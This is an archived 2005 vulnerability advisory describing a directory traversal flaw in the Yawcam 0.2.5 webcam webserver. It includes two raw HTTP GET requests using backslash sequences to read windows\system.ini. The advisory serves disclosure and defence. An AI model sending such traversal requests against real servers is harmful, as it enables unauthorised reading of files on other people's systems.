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yawcam025.txt

yawcam025.txt
Posted Jun 1, 2005
Authored by Donato Ferrante | Site autistici.org

Yawcam 0.2.5 suffers from a directory traversal flaw.

tags | exploit
SHA-256 | b182d057b90cd3f81c55e8e073477556ee02a409f252428b6e2bfb479dd98c59

yawcam025.txt

Change Mirror Download

Donato Ferrante


Application: Yawcam
http://www.yawcam.com

Version: 0.2.5

Bug: directory traversal

Date: 21-Apr-2005

Author: Donato Ferrante
e-mail: fdonato@autistici.org
web: www.autistici.org/fdonato



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1. Description
2. The bug
3. The code
4. The fix



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----------------
1. Description:
----------------

Vendor's Description:

"Yawcam is a webcam software for windows".



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------------
2. The bug:
------------

The program has a built-in webserver that by default is able to avoid
malicious patterns like "/../" but it's not able to manage patterns
like "..\" or "\..\" into raw http requests.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.



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-------------
3. The code:
-------------

To test the vulnerability, connect to the webserver and send a raw
request like:

GET ..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0

or:

GET \..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0



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------------
4. The fix:
------------

Vendor was contacted.
Bug will be probably fixed in the next release.



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